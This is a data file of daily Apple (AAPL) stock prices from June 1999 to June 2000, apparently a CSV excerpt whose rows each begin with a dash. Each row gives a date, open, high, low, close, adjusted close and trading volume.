-1999-06-22,1.6540178060531616,1.6763392686843872,1.6205357313156128,1.6205357313156128,1.4066909551620483,37769200.0,AAPL
-1999-06-23,1.609375,1.6104910373687744,1.5558035373687744,1.5602678060531616,1.354375958442688,132874000.0,AAPL
-1999-06-24,1.5580357313156128,1.5580357313156128,1.5089285373687744,1.5111607313156128,1.3117493391036987,108340400.0,AAPL
-1999-06-25,1.5178571939468384,1.5245535373687744,1.5022321939468384,1.5066964626312256,1.307874321937561,73533600.0,AAPL
-1999-06-28,1.515625,1.5334821939468384,1.5133928060531616,1.5200892686843872,1.3194992542266846,69423200.0,AAPL
-1999-06-29,1.5256696939468384,1.6272321939468384,1.5223214626312256,1.6205357313156128,1.4066909551620483,95096400.0,AAPL
-1999-06-30,1.6316964626312256,1.6763392686843872,1.6049107313156128,1.6540178060531616,1.4357550144195557,85817200.0,AAPL
-1999-07-01,1.6540178060531616,1.6629464626312256,1.6160714626312256,1.6183035373687744,1.404753565788269,37304400.0,AAPL
-1999-07-02,1.6261160373687744,1.6741071939468384,1.6138392686843872,1.6540178060531616,1.4357550144195557,30920400.0,AAPL
-1999-07-06,1.640625,1.7008928060531616,1.6361607313156128,1.6919642686843872,1.4686942100524902,113453200.0,AAPL
-1999-07-07,1.6919642686843872,1.8125,1.6785714626312256,1.78125,1.5461978912353516,274789200.0,AAPL
-1999-07-08,1.8258928060531616,1.9665178060531616,1.8169642686843872,1.9464285373687744,1.6895790100097656,406260400.0,AAPL
-1999-07-09,1.9464285373687744,1.9866071939468384,1.8928571939468384,1.9866071939468384,1.7244561910629272,152174400.0,AAPL
-1999-07-12,1.9821428060531616,1.9866071939468384,1.9352678060531616,1.9464285373687744,1.6895790100097656,75978000.0,AAPL
-1999-07-13,1.9107142686843872,1.9352678060531616,1.8883928060531616,1.9174107313156128,1.6643908023834229,70814800.0,AAPL
-1999-07-14,1.9464285373687744,2.0223214626312256,1.9464285373687744,1.9977678060531616,1.7341442108154297,156139200.0,AAPL
-1999-07-15,1.9955357313156128,1.9977678060531616,1.8325892686843872,1.9017857313156128,1.6508276462554932,422951200.0,AAPL
-1999-07-16,1.9151785373687744,1.9464285373687744,1.8928571939468384,1.8950892686843872,1.6450146436691284,102874800.0,AAPL
-1999-07-19,1.9263392686843872,1.9933035373687744,1.8683035373687744,1.9441964626312256,1.6876417398452759,140324800.0,AAPL
-1999-07-20,1.9486607313156128,1.9821428060531616,1.8839285373687744,1.8883928060531616,1.6392018795013428,110518800.0,AAPL
-1999-07-21,1.9308035373687744,1.9799107313156128,1.8883928060531616,1.9308035373687744,1.6760163307189941,179541600.0,AAPL
-1999-07-22,1.9151785373687744,1.9241071939468384,1.8258928060531616,1.8705357313156128,1.6237013339996338,101682000.0,AAPL
-1999-07-23,1.8861607313156128,1.9196428060531616,1.8816964626312256,1.9040178060531616,1.6527652740478516,57262800.0,AAPL
-1999-07-26,1.8883928060531616,1.8928571939468384,1.8169642686843872,1.8191964626312256,1.5791364908218384,87796800.0,AAPL
-1999-07-27,1.8794642686843872,1.9263392686843872,1.875,1.9174107313156128,1.6643908023834229,98977200.0,AAPL
-1999-07-28,1.9241071939468384,1.9776785373687744,1.8928571939468384,1.9419642686843872,1.6857044696807861,82227600.0,AAPL
-1999-07-29,1.90625,1.9732142686843872,1.8973214626312256,1.9241071939468384,1.670203447341919,68868800.0,AAPL
-1999-07-30,1.9464285373687744,2.0044643878936768,1.9464285373687744,1.9888392686843872,1.7263933420181274,95785200.0,AAPL
-1999-08-02,1.9866071939468384,2.0714285373687744,1.9821428060531616,1.9910714626312256,1.728331208229065,90610800.0,AAPL
-1999-08-03,2.0267856121063232,2.0513393878936768,1.9151785373687744,1.9732142686843872,1.7128304243087769,92094800.0,AAPL
-1999-08-04,1.9709821939468384,1.9955357313156128,1.9017857313156128,1.921875,1.6682658195495605,92856400.0,AAPL
-1999-08-05,1.9107142686843872,1.9598214626312256,1.8616071939468384,1.9553571939468384,1.6973296403884888,80634400.0,AAPL
-1999-08-06,1.9308035373687744,1.9754464626312256,1.9107142686843872,1.9330357313156128,1.677954077720642,108889200.0,AAPL
-1999-08-09,1.9408482313156128,1.9709821939468384,1.9375,1.9441964626312256,1.6876417398452759,58321200.0,AAPL
-1999-08-10,1.9285714626312256,2.0,1.9151785373687744,1.9776785373687744,1.716705560684204,104056400.0,AAPL
-1999-08-11,2.0,2.1339285373687744,1.9977678060531616,2.1316964626312256,1.8503994941711426,212584400.0,AAPL
-1999-08-12,2.109375,2.1919643878936768,2.09375,2.142857074737549,1.8600871562957764,166527200.0,AAPL
-1999-08-13,2.1651785373687744,2.2142856121063232,2.138392925262451,2.1450893878936768,1.8620247840881348,74608800.0,AAPL
-1999-08-16,2.1361606121063232,2.1674106121063232,2.125,2.1607143878936768,1.8755881786346436,69232800.0,AAPL
-1999-08-17,2.154017925262451,2.15625,2.1049106121063232,2.154017925262451,1.869775652885437,80234000.0,AAPL
-1999-08-18,2.1450893878936768,2.2142856121063232,2.1294643878936768,2.1473214626312256,1.8639625310897827,117143600.0,AAPL
-1999-08-19,2.1361606121063232,2.1607143878936768,2.091517925262451,2.0982143878936768,1.8213356733322144,137505200.0,AAPL
-1999-08-20,2.1160714626312256,2.1205356121063232,2.078125,2.1138393878936768,1.834898829460144,81986800.0,AAPL
-1999-08-23,2.1205356121063232,2.1919643878936768,2.1183035373687744,2.169642925262451,1.8833379745483398,88891600.0,AAPL
-1999-08-24,2.15625,2.169642925262451,2.140625,2.15625,1.8717131614685059,125566000.0,AAPL
-1999-08-25,2.1674106121063232,2.1964285373687744,2.1473214626312256,2.1919643878936768,1.9027148485183716,73791200.0,AAPL
-1999-08-26,2.1830356121063232,2.2544643878936768,2.1830356121063232,2.21875,1.9259655475616455,101122000.0,AAPL
-1999-08-27,2.2410714626312256,2.3214285373687744,2.2388393878936768,2.3125,2.0073444843292236,111708800.0,AAPL
-1999-08-30,2.3214285373687744,2.3214285373687744,2.2142856121063232,2.216517925262451,1.9240281581878662,84148400.0,AAPL
-1999-08-31,2.2354910373687744,2.3526785373687744,2.216517925262451,2.330357074737549,2.0228452682495117,158636800.0,AAPL
-1999-09-01,2.392857074737549,2.4575893878936768,2.357142925262451,2.450892925262451,2.1274755001068115,197156400.0,AAPL
-1999-09-02,2.4151785373687744,2.5513393878936768,2.388392925262451,2.5200893878936768,2.1875405311584473,223787200.0,AAPL
-1999-09-03,2.5691964626312256,2.6875,2.517857074737549,2.625,2.278606653213501,408816800.0,AAPL
-1999-09-07,2.6339285373687744,2.783482074737549,2.625,2.7276785373687744,2.367736339569092,246198400.0,AAPL
-1999-09-08,2.720982074737549,2.7745535373687744,2.6607143878936768,2.6607143878936768,2.3096086978912354,190551200.0,AAPL
-1999-09-09,2.6964285373687744,2.7120535373687744,2.638392925262451,2.6986606121063232,2.3425474166870117,133520800.0,AAPL
-1999-09-10,2.7142856121063232,2.7745535373687744,2.6674106121063232,2.765625,2.4006752967834473,114690800.0,AAPL
-1999-09-13,2.752232074737549,2.752232074737549,2.671875,2.6785714626312256,2.3251101970672607,63000000.0,AAPL
-1999-09-14,2.6685268878936768,2.8035714626312256,2.6674106121063232,2.779017925262451,2.4123013019561768,97073200.0,AAPL
-1999-09-15,2.8169643878936768,2.825892925262451,2.6875,2.6919643878936768,2.3367345333099365,89894000.0,AAPL
-1999-09-16,2.716517925262451,2.7879464626312256,2.638392925262451,2.7433035373687744,2.3812994956970215,110471200.0,AAPL
-1999-09-17,2.7611606121063232,2.7767856121063232,2.7232143878936768,2.747767925262451,2.385174512863159,69319600.0,AAPL
-1999-09-20,2.75,2.861607074737549,2.7455356121063232,2.8236606121063232,2.4510529041290283,114167200.0,AAPL
-1999-09-21,2.6138393878936768,2.6160714626312256,2.4642856121063232,2.4732143878936768,2.146850347518921,839389600.0,AAPL
-1999-09-22,2.4910714626312256,2.5580356121063232,2.46484375,2.5111606121063232,2.1797897815704346,280792400.0,AAPL
-1999-09-23,2.5401785373687744,2.544642925262451,2.25,2.2611606121063232,1.962780237197876,285938800.0,AAPL
-1999-09-24,2.263392925262451,2.3934152126312256,2.25,2.3191964626312256,2.013157606124878,294968800.0,AAPL
-1999-09-27,2.3705356121063232,2.3839285373687744,2.185267925262451,2.189732074737549,1.900776982307434,237048000.0,AAPL
-1999-09-28,2.1964285373687744,2.2142856121063232,2.0513393878936768,2.1294643878936768,1.8484621047973633,353740800.0,AAPL
-1999-09-29,2.1517856121063232,2.1875,2.0714285373687744,2.109375,1.8310234546661377,164320800.0,AAPL
-1999-09-30,2.127232074737549,2.2924106121063232,2.1160714626312256,2.2611606121063232,1.962780237197876,227021200.0,AAPL
-1999-10-01,2.21875,2.2299106121063232,2.125,2.2042410373687744,1.9133716821670532,153697600.0,AAPL
-1999-10-04,2.2276785373687744,2.3169643878936768,2.2276785373687744,2.3058035373687744,2.0015318393707275,114839200.0,AAPL
-1999-10-05,2.34375,2.4330356121063232,2.3125,2.4263393878936768,2.1061620712280273,203551600.0,AAPL
-1999-10-06,2.4776785373687744,2.486607074737549,2.392857074737549,2.3995535373687744,2.0829102993011475,201068000.0,AAPL
-1999-10-07,2.4441964626312256,2.450892925262451,2.3169643878936768,2.3705356121063232,2.0577218532562256,151471600.0,AAPL
-1999-10-08,2.3638393878936768,2.3683035373687744,2.267857074737549,2.341517925262451,2.0325334072113037,95701200.0,AAPL
-1999-10-11,2.357142925262451,2.4375,2.357142925262451,2.3816964626312256,2.0674095153808594,65780400.0,AAPL
-1999-10-12,2.424107074737549,2.486607074737549,2.392857074737549,2.4174106121063232,2.0984108448028564,140938000.0,AAPL
-1999-10-13,2.3794643878936768,2.482142925262451,2.2767856121063232,2.286830425262451,1.9850621223449707,159182800.0,AAPL
-1999-10-14,2.4732143878936768,2.6183035373687744,2.4642856121063232,2.6138393878936768,2.2689194679260254,474700800.0,AAPL
-1999-10-15,2.5401785373687744,2.7075893878936768,2.5066964626312256,2.6629464626312256,2.3115458488464355,293294400.0,AAPL
-1999-10-18,2.638392925262451,2.6517856121063232,2.5401785373687744,2.6160714626312256,2.2708566188812256,194101600.0,AAPL
-1999-10-19,2.5580356121063232,2.6785714626312256,2.4441964626312256,2.4464285373687744,2.1235997676849365,255645600.0,AAPL
-1999-10-20,2.5,2.6875,2.5,2.6830356121063232,2.328983783721924,270351200.0,AAPL
-1999-10-21,2.591517925262451,2.752232074737549,2.5848214626312256,2.71875,2.3599860668182373,198363200.0,AAPL
-1999-10-22,2.7544643878936768,2.7589285373687744,2.6205356121063232,2.640625,2.2921700477600098,104876800.0,AAPL
-1999-10-25,2.6517856121063232,2.71875,2.6339285373687744,2.6607143878936768,2.3096086978912354,81648000.0,AAPL
-1999-10-26,2.6763393878936768,2.6964285373687744,2.6183035373687744,2.6808035373687744,2.3270468711853027,90358800.0,AAPL
-1999-10-27,2.65625,2.736607074737549,2.622767925262451,2.7276785373687744,2.367736339569092,110768000.0,AAPL
-1999-10-28,2.752232074737549,2.8214285373687744,2.716517925262451,2.78125,2.414238452911377,126022400.0,AAPL
-1999-10-29,2.814732074737549,2.8950893878936768,2.814732074737549,2.861607074737549,2.4839913845062256,130762800.0,AAPL
-1999-11-01,2.857142925262451,2.8816964626312256,2.763392925262451,2.7723214626312256,2.406487464904785,69644400.0,AAPL
-1999-11-02,2.7857143878936768,2.9174106121063232,2.7611606121063232,2.8660714626312256,2.4878671169281006,99808800.0,AAPL
-1999-11-03,2.9151785373687744,2.9732143878936768,2.892857074737549,2.9107143878936768,2.5266189575195312,82115600.0,AAPL
-1999-11-04,2.9308035373687744,3.049107074737549,2.8794643878936768,2.986607074737549,2.592496871948242,94771600.0,AAPL
-1999-11-05,3.0223214626312256,3.15625,3.0,3.154017925262451,2.737816095352173,104202000.0,AAPL
-1999-11-08,3.1339285373687744,3.490513324737549,3.0982143878936768,3.4419643878936768,2.987765312194824,237731200.0,AAPL
-1999-11-09,3.3705356121063232,3.375,3.142857074737549,3.200892925262451,2.77850604057312,202294400.0,AAPL
-1999-11-10,3.1517856121063232,3.330357074737549,3.1473214626312256,3.265625,2.8346962928771973,144474400.0,AAPL
-1999-11-11,3.271205425262451,3.3080356121063232,3.2098214626312256,3.294642925262451,2.859884738922119,67468800.0,AAPL
-1999-11-12,3.283482074737549,3.2857143878936768,3.1205356121063232,3.236607074737549,2.809507131576538,69764800.0,AAPL
-1999-11-15,3.200892925262451,3.3169643878936768,3.1607143878936768,3.1941964626312256,2.772693157196045,64976800.0,AAPL
-1999-11-16,3.2142856121063232,3.2767856121063232,3.1607143878936768,3.2566964626312256,2.8269455432891846,58464000.0,AAPL
-1999-11-17,3.2388393878936768,3.3839285373687744,3.2142856121063232,3.2232143878936768,2.797881603240967,91142800.0,AAPL
-1999-11-18,3.252232074737549,3.2544643878936768,3.158482074737549,3.200892925262451,2.77850604057312,91196000.0,AAPL
-1999-11-19,3.1964285373687744,3.3169643878936768,3.1450893878936768,3.3013393878936768,2.865697145462036,78128400.0,AAPL
-1999-11-22,3.2767856121063232,3.2767856121063232,3.1875,3.236607074737549,2.809507131576538,50590400.0,AAPL
-1999-11-23,3.2767856121063232,3.4017856121063232,3.1607143878936768,3.314732074737549,2.8773233890533447,135828000.0,AAPL
-1999-11-24,3.3214285373687744,3.392857074737549,3.2745535373687744,3.3816964626312256,2.935450792312622,53776800.0,AAPL
-1999-11-26,3.3839285373687744,3.4107143878936768,3.361607074737549,3.3950893878936768,2.9470767974853516,33017600.0,AAPL
-1999-11-29,3.3660714626312256,3.5625,3.330357074737549,3.377232074737549,2.9315755367279053,116040400.0,AAPL
-1999-11-30,3.5044643878936768,3.705357074737549,3.4776785373687744,3.4955356121063232,3.0342674255371094,210795200.0,AAPL
-1999-12-01,3.607142925262451,3.732142925262451,3.5736606121063232,3.6808035373687744,3.19508695602417,154641200.0,AAPL
-1999-12-02,3.6830356121063232,3.950892925262451,3.6339285373687744,3.935267925262451,3.4159727096557617,141839600.0,AAPL
-1999-12-03,4.0066962242126465,4.127232074737549,3.9955356121063232,4.107142925262451,3.5651674270629883,161980000.0,AAPL
-1999-12-06,4.091517925262451,4.189732074737549,3.9799106121063232,4.142857074737549,3.5961685180664062,116695600.0,AAPL
-1999-12-07,4.1629462242126465,4.214285850524902,4.0714287757873535,4.207589149475098,3.6523587703704834,111255200.0,AAPL
-1999-12-08,4.151785850524902,4.2098212242126465,3.9107143878936768,3.9308035373687744,3.4120981693267822,103087600.0,AAPL
-1999-12-09,3.9642856121063232,3.9642856121063232,3.6026785373687744,3.7589285373687744,3.2629029750823975,213799600.0,AAPL
-1999-12-10,3.7611606121063232,3.9017856121063232,3.5357143878936768,3.6785714626312256,3.193150520324707,159440400.0,AAPL
-1999-12-13,3.6568081378936768,3.6607143878936768,3.533482074737549,3.5357143878936768,3.0691442489624023,132490400.0,AAPL
-1999-12-14,3.513392925262451,3.5625,3.3839285373687744,3.388392925262451,2.941263198852539,108967600.0,AAPL
-1999-12-15,3.330357074737549,3.4732143878936768,3.252232074737549,3.4642856121063232,3.007141351699829,155744400.0,AAPL
-1999-12-16,3.5,3.513392925262451,3.357142925262451,3.5111606121063232,3.047830581665039,115956400.0,AAPL
-1999-12-17,3.6026785373687744,3.642857074737549,3.517857074737549,3.5714285373687744,3.100145101547241,123751600.0,AAPL
-1999-12-20,3.5558035373687744,3.5580356121063232,3.450892925262451,3.5,3.0381429195404053,70996800.0,AAPL
-1999-12-21,3.5066964626312256,3.6808035373687744,3.497767925262451,3.6607143878936768,3.177650213241577,76899200.0,AAPL
-1999-12-22,3.674107074737549,3.734375,3.5267856121063232,3.5691964626312256,3.098208427429199,81768400.0,AAPL
-1999-12-23,3.6361606121063232,3.7232143878936768,3.609375,3.6964285373687744,3.208651304244995,57383200.0,AAPL
-1999-12-27,3.7276785373687744,3.7299106121063232,3.544642925262451,3.546875,3.0788323879241943,42098000.0,AAPL
-1999-12-28,3.5401785373687744,3.5580356121063232,3.392857074737549,3.5066964626312256,3.0439558029174805,61894000.0,AAPL
-1999-12-29,3.4575893878936768,3.6495535373687744,3.4107143878936768,3.595982074737549,3.1214590072631836,71125600.0,AAPL
-1999-12-30,3.6495535373687744,3.71875,3.5580356121063232,3.5825893878936768,3.1098337173461914,51786000.0,AAPL
-1999-12-31,3.6049106121063232,3.674107074737549,3.5535714626312256,3.671875,3.1873369216918945,40952800.0,AAPL
-2000-01-03,3.7455356121063232,4.017857074737549,3.6316964626312256,3.997767925262451,3.4702255725860596,133949200.0,AAPL
-2000-01-04,3.8660714626312256,3.950892925262451,3.6138393878936768,3.6607143878936768,3.177650213241577,128094400.0,AAPL
-2000-01-05,3.705357074737549,3.9486606121063232,3.6785714626312256,3.7142856121063232,3.224151849746704,194580400.0,AAPL
-2000-01-06,3.7901785373687744,3.8214285373687744,3.392857074737549,3.392857074737549,2.945138931274414,191993200.0,AAPL
-2000-01-07,3.4464285373687744,3.607142925262451,3.4107143878936768,3.5535714626312256,3.0846450328826904,115183600.0,AAPL
-2000-01-10,3.642857074737549,3.6517856121063232,3.3839285373687744,3.4910714626312256,3.030392646789551,126266000.0,AAPL
-2000-01-11,3.4263393878936768,3.549107074737549,3.232142925262451,3.3125,2.8753855228424072,110387200.0,AAPL
-2000-01-12,3.392857074737549,3.4107143878936768,3.0892856121063232,3.1138393878936768,2.702939510345459,244017200.0,AAPL
-2000-01-13,3.3744418621063232,3.5267856121063232,3.3035714626312256,3.455357074737549,2.9993913173675537,258171200.0,AAPL
-2000-01-14,3.5714285373687744,3.6517856121063232,3.549107074737549,3.5870535373687744,3.11370849609375,97594000.0,AAPL
-2000-01-18,3.607142925262451,3.7857143878936768,3.5870535373687744,3.7120535373687744,3.2222135066986084,114794400.0,AAPL
-2000-01-19,3.7723214626312256,3.8839285373687744,3.6919643878936768,3.8058035373687744,3.3035922050476074,149410800.0,AAPL
-2000-01-20,4.125,4.339285850524902,4.0535712242126465,4.0535712242126465,3.518665313720703,457783200.0,AAPL
-2000-01-21,4.080357074737549,4.080357074737549,3.935267925262451,3.9754464626312256,3.4508492946624756,123981200.0,AAPL
-2000-01-24,3.872767925262451,4.026785850524902,3.7544643878936768,3.794642925262451,3.2939040660858154,110219200.0,AAPL
-2000-01-25,3.75,4.0401787757873535,3.65625,4.0089287757873535,3.4799141883850098,124286400.0,AAPL
-2000-01-26,3.9285714626312256,4.078125,3.919642925262451,3.935267925262451,3.4159727096557617,91789600.0,AAPL
-2000-01-27,3.8861606121063232,4.035714149475098,3.8214285373687744,3.9285714626312256,3.4101600646972656,85036000.0,AAPL
-2000-01-28,3.8638393878936768,3.9598214626312256,3.59375,3.6294643878936768,3.1505227088928223,105837200.0,AAPL
-2000-01-31,3.607142925262451,3.7098214626312256,3.375,3.705357074737549,3.2164013385772705,175420000.0,AAPL
-2000-02-01,3.7142856121063232,3.75,3.5714285373687744,3.580357074737549,3.107896089553833,79508800.0,AAPL
-2000-02-02,3.5982143878936768,3.6473214626312256,3.4642856121063232,3.529017925262451,3.0633323192596436,116048800.0,AAPL
-2000-02-03,3.5825893878936768,3.7232143878936768,3.580357074737549,3.689732074737549,3.202838659286499,118798400.0,AAPL
-2000-02-04,3.7120535373687744,3.9285714626312256,3.700892925262451,3.857142925262451,3.3481571674346924,106330000.0,AAPL
-2000-02-07,3.857142925262451,4.080357074737549,3.783482074737549,4.073660850524902,3.536104440689087,110266800.0,AAPL
-2000-02-08,4.0714287757873535,4.1473212242126465,3.9732143878936768,4.1026787757873535,3.561292886734009,102160800.0,AAPL
-2000-02-09,4.075892925262451,4.183035850524902,4.015625,4.0223212242126465,3.4915385246276855,74841200.0,AAPL
-2000-02-10,4.03125,4.066964149475098,3.9285714626312256,4.0535712242126465,3.518665313720703,75745600.0,AAPL
-2000-02-11,4.058035850524902,4.075892925262451,3.8660714626312256,3.8839285373687744,3.3714089393615723,53062800.0,AAPL
-2000-02-14,3.904017925262451,4.138392925262451,3.8794643878936768,4.136160850524902,3.5903561115264893,91884800.0,AAPL
-2000-02-15,4.1160712242126465,4.283482074737549,4.113839149475098,4.25,3.689173936843872,121436000.0,AAPL
-2000-02-16,4.205357074737549,4.21875,4.004464149475098,4.075892925262451,3.5380420684814453,94561600.0,AAPL
-2000-02-17,4.113839149475098,4.125,4.0401787757873535,4.1026787757873535,3.561292886734009,72374400.0,AAPL
-2000-02-18,4.09375,4.120535850524902,3.9598214626312256,3.9732143878936768,3.4489123821258545,58360400.0,AAPL
-2000-02-22,3.9330356121063232,4.176339149475098,3.810267925262451,4.064732074737549,3.528352975845337,105574000.0,AAPL
-2000-02-23,4.0440850257873535,4.25,3.9642856121063232,4.151785850524902,3.603919506072998,118274800.0,AAPL
-2000-02-24,4.189732074737549,4.254464149475098,3.9910714626312256,4.1143975257873535,3.571465015411377,94108000.0,AAPL
-2000-02-25,4.1004462242126465,4.1785712242126465,3.9330356121063232,3.9419643878936768,3.421786069869995,62286000.0,AAPL
-2000-02-28,3.9330356121063232,4.107142925262451,3.8705356121063232,4.044642925262451,3.5109148025512695,82082000.0,AAPL
-2000-02-29,4.0558037757873535,4.1875,4.020089149475098,4.09375,3.553541898727417,92240400.0,AAPL
-2000-03-01,4.234375,4.716517925262451,4.232142925262451,4.654017925262451,4.0398783683776855,269250800.0,AAPL
-2000-03-02,4.535714149475098,4.5691962242126465,4.310267925262451,4.357142925262451,3.782177686691284,77814800.0,AAPL
-2000-03-03,4.4598212242126465,4.579799175262451,4.285714149475098,4.5714287757873535,3.968187093734741,80841600.0,AAPL
-2000-03-06,4.5,4.611607074737549,4.464285850524902,4.488839149475098,3.8964953422546387,52640000.0,AAPL
-2000-03-07,4.515625,4.551339149475098,4.325892925262451,4.388392925262451,3.8093035221099854,68252800.0,AAPL
-2000-03-08,4.388392925262451,4.426339149475098,4.234375,4.357142925262451,3.782177686691284,67807600.0,AAPL
-2000-03-09,4.316964149475098,4.464285850524902,4.223214149475098,4.3660712242126465,3.7899281978607178,69179600.0,AAPL
-2000-03-10,4.345982074737549,4.5691962242126465,4.3214287757873535,4.4910712242126465,3.8984313011169434,62151600.0,AAPL
-2000-03-13,4.361607074737549,4.517857074737549,4.267857074737549,4.332589149475098,3.7608649730682373,75989200.0,AAPL
-2000-03-14,4.3292412757873535,4.4375,4.0714287757873535,4.080357074737549,3.541916847229004,107144800.0,AAPL
-2000-03-15,4.129464149475098,4.294642925262451,4.075892925262451,4.151785850524902,3.603919506072998,110902400.0,AAPL
-2000-03-16,4.189732074737549,4.357142925262451,4.089285850524902,4.341517925262451,3.7686145305633545,94525200.0,AAPL
-2000-03-17,4.2901787757873535,4.464285850524902,4.2723212242126465,4.464285850524902,3.875182628631592,76260800.0,AAPL
-2000-03-20,4.410714149475098,4.5089287757873535,4.370535850524902,4.392857074737549,3.8131797313690186,51122400.0,AAPL
-2000-03-21,4.377232074737549,4.8839287757873535,4.34375,4.8191962242126465,4.183258056640625,131082000.0,AAPL
-2000-03-22,4.7421875,5.15625,4.698660850524902,5.1495537757873535,4.470023155212402,141999200.0,AAPL
-2000-03-23,5.0714287757873535,5.370535850524902,5.0,5.046875,4.380892753601074,140641200.0,AAPL
-2000-03-24,5.0870537757873535,5.140625,4.839285850524902,4.953125,4.2995147705078125,111728400.0,AAPL
-2000-03-27,4.9151787757873535,5.169642925262451,4.888392925262451,4.984375,4.326641082763672,69795600.0,AAPL
-2000-03-28,4.901785850524902,5.0714287757873535,4.8973212242126465,4.96875,4.313078880310059,50741600.0,AAPL
-2000-03-29,4.9776787757873535,4.979910850524902,4.779575824737549,4.854910850524902,4.214261054992676,59959200.0,AAPL
-2000-03-30,4.770089149475098,4.917410850524902,4.479910850524902,4.4910712242126465,3.8984313011169434,103600000.0,AAPL
-2000-03-31,4.551339149475098,4.901785850524902,4.5,4.8504462242126465,4.210383892059326,101158400.0,AAPL
-2000-04-03,4.839285850524902,4.982142925262451,4.622767925262451,4.761160850524902,4.132880687713623,82140800.0,AAPL
-2000-04-04,4.736607074737549,4.75,4.169642925262451,4.546875,3.946873664855957,165082400.0,AAPL
-2000-04-05,4.5167412757873535,4.745535850524902,4.4285712242126465,4.65625,4.041814804077148,114416400.0,AAPL
-2000-04-06,4.6651787757873535,4.8035712242126465,4.401785850524902,4.470982074737549,3.8809940814971924,64906800.0,AAPL
-2000-04-07,4.544642925262451,4.7098212242126465,4.482142925262451,4.705357074737549,4.084443092346191,60608800.0,AAPL
-2000-04-10,4.703125,4.7410712242126465,4.455357074737549,4.464285850524902,3.875182628631592,53065600.0,AAPL
-2000-04-11,4.410714149475098,4.4598212242126465,4.216517925262451,4.265625,3.7027361392974854,135455600.0,AAPL
-2000-04-12,4.25,4.25,3.7455356121063232,3.9017856121063232,3.386909246444702,235284000.0,AAPL
-2000-04-13,3.982142925262451,4.285714149475098,3.875,4.064732074737549,3.528352975845337,132456800.0,AAPL
-2000-04-14,3.904017925262451,4.214285850524902,3.892857074737549,3.9955356121063232,3.4682884216308594,166905200.0,AAPL
-2000-04-17,3.9107143878936768,4.426339149475098,3.8950893878936768,4.424107074737549,3.840305805206299,102390400.0,AAPL
-2000-04-18,4.410714149475098,4.53125,4.263392925262451,4.53125,3.93330979347229,97731200.0,AAPL
-2000-04-19,4.5066962242126465,4.651785850524902,4.276785850524902,4.325892925262451,3.755052089691162,130037600.0,AAPL
-2000-04-20,4.417410850524902,4.455357074737549,4.1808037757873535,4.245535850524902,3.685298442840576,180530000.0,AAPL
-2000-04-24,4.107142925262451,4.3035712242126465,4.098214149475098,4.3035712242126465,3.7356760501861572,110905200.0,AAPL
-2000-04-25,4.361607074737549,4.598214149475098,4.359375,4.582589149475098,3.9778757095336914,97910400.0,AAPL
-2000-04-26,4.5223212242126465,4.5714287757873535,4.285714149475098,4.332589149475098,3.7608649730682373,91728000.0,AAPL
-2000-04-27,4.185267925262451,4.535714149475098,4.163504600524902,4.526785850524902,3.9294357299804688,81650800.0,AAPL
-2000-04-28,4.5401787757873535,4.5535712242126465,4.332589149475098,4.4308037757873535,3.8461198806762695,62395200.0,AAPL
-2000-05-01,4.4598212242126465,4.46875,4.3526787757873535,4.439732074737549,3.853868007659912,56548800.0,AAPL
-2000-05-02,4.401785850524902,4.5089287757873535,4.1964287757873535,4.2098212242126465,3.654297113418579,59108000.0,AAPL
-2000-05-03,4.247767925262451,4.330357074737549,3.986607074737549,4.109375,3.567105531692505,122449600.0,AAPL
-2000-05-04,4.111607074737549,4.1160712242126465,3.9486606121063232,3.953125,3.431473970413208,99878800.0,AAPL
-2000-05-05,3.9575893878936768,4.098214149475098,3.9542410373687744,4.0401787757873535,3.507040023803711,71019200.0,AAPL
-2000-05-08,4.003348350524902,4.060267925262451,3.9285714626312256,3.9330356121063232,3.4140355587005615,46225200.0,AAPL
-2000-05-09,3.939732074737549,3.9732143878936768,3.7455356121063232,3.765625,3.26871657371521,81785200.0,AAPL
-2000-05-10,3.716517925262451,3.75,3.5267856121063232,3.546875,3.0788323879241943,133772800.0,AAPL
-2000-05-11,3.6205356121063232,3.7232143878936768,3.5357143878936768,3.671875,3.1873369216918945,124936000.0,AAPL
-2000-05-12,3.7857143878936768,3.9464285373687744,3.7416293621063232,3.84375,3.336531639099121,76728400.0,AAPL
-2000-05-15,3.859375,3.859375,3.575892925262451,3.607142925262451,3.1311471462249756,169733200.0,AAPL
-2000-05-16,3.732700824737549,3.8950893878936768,3.669642925262451,3.7745535373687744,3.2764668464660645,110112800.0,AAPL
-2000-05-17,3.700892925262451,3.703125,3.5848214626312256,3.6205356121063232,3.142772912979126,99523200.0,AAPL
-2000-05-18,3.6785714626312256,3.747767925262451,3.59375,3.5982143878936768,3.123396635055542,93444400.0,AAPL
-2000-05-19,3.544642925262451,3.544642925262451,3.3348214626312256,3.357142925262451,2.914137363433838,185166800.0,AAPL
-2000-05-22,3.3482143878936768,3.3482143878936768,3.0714285373687744,3.2120535373687744,2.788193702697754,188876800.0,AAPL
-2000-05-23,3.232142925262451,3.3348214626312256,3.0580356121063232,3.064732074737549,2.660313129425049,129396400.0,AAPL
-2000-05-24,3.078125,3.205357074737549,2.9642856121063232,3.1316964626312256,2.7184407711029053,169615600.0,AAPL
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-2000-05-26,3.142857074737549,3.2098214626312256,3.044642925262451,3.0848214626312256,2.677751302719116,45287200.0,AAPL
-2000-05-30,3.1294643878936768,3.1473214626312256,2.919642925262451,3.127232074737549,2.714564800262451,178264800.0,AAPL
-2000-05-31,3.1026785373687744,3.2589285373687744,2.9933035373687744,3.0,2.6041228771209717,108376800.0,AAPL
-2000-06-01,2.919642925262451,3.1986606121063232,2.8705356121063232,3.1830356121063232,2.7630043029785156,225960000.0,AAPL
-2000-06-02,3.3482143878936768,3.5625,3.1785714626312256,3.3058035373687744,2.8695719242095947,198212000.0,AAPL
-2000-06-05,3.3325893878936768,3.4017856121063232,3.203125,3.2611606121063232,2.8308205604553223,80917200.0,AAPL
-2000-06-06,3.2845981121063232,3.455357074737549,3.2254464626312256,3.3169643878936768,2.879260778427124,131370400.0,AAPL
-2000-06-07,3.34375,3.4642856121063232,3.2723214626312256,3.4486606121063232,2.9935779571533203,84254800.0,AAPL
-2000-06-08,3.486607074737549,3.517857074737549,3.325892925262451,3.3861606121063232,2.9393250942230225,59631600.0,AAPL
-2000-06-09,3.455357074737549,3.497767925262451,3.3705356121063232,3.419642925262451,2.9683902263641357,63089600.0,AAPL
-2000-06-12,3.4419643878936768,3.4441964626312256,3.2455356121063232,3.2566964626312256,2.8269455432891846,72584400.0,AAPL
-2000-06-13,3.2566964626312256,3.3816964626312256,3.1495535373687744,3.375,2.929637908935547,87864000.0,AAPL
-2000-06-14,3.3816964626312256,3.4375,3.21875,3.2299106121063232,2.803694486618042,69361600.0,AAPL
